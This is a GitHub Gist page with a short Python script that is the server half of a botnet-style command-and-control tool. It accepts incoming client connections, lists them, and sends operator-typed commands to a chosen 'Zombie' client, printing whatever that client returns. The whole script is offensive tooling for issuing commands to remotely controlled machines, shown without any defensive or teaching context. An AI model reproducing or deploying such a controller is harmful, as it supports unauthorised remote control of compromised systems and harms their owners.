Created
January 8, 2019 03:22
-
-
Save Xifeng2009/789ef3b4bdc38032717e215f8a95031e to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket | |
import threading | |
class Connection: | |
def __init__(self, cid, conn, addr): | |
self.cid = cid | |
self.conn = conn | |
self.addr = addr | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) | |
s.bind(('localhost', 1337)) | |
s.listen(5) | |
cid = 0 | |
clients = {} | |
def listener(s): | |
global cid, clients | |
while True: | |
conn, addr = s.accept() | |
print("[INFO] Connection From {}:{}".format(addr[0], addr[1])) | |
cid +=1 | |
clients[cid] = Connection(cid, conn, addr) | |
def main(): | |
t = threading.Thread(target=listener, args=(s,)) | |
t.setDaemon(True) | |
t.start() | |
while True: | |
print("[INFO] Current Number of Clients: {}".format(cid)) | |
try: | |
ccid = int(input("Choose a Client: ")) | |
except: | |
continue | |
prompt = input("Zombie[{}] >>> ".format(ccid)) | |
if not prompt: | |
continue | |
if prompt == 'q': | |
break | |
elif prompt == 'clients': | |
print("[INFO] Total Clients: {}".format(len(clients))) | |
else: | |
try: | |
clients[ccid].conn.send(bytes(prompt, encoding='utf-8')) | |
print("[INFO] Send Succees.") | |
print(clients[ccid].conn.recv(1024).decode('utf-8')) | |
except socket.error as e: | |
print("[INFO] Send Failed: {}".format(e[:50])) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment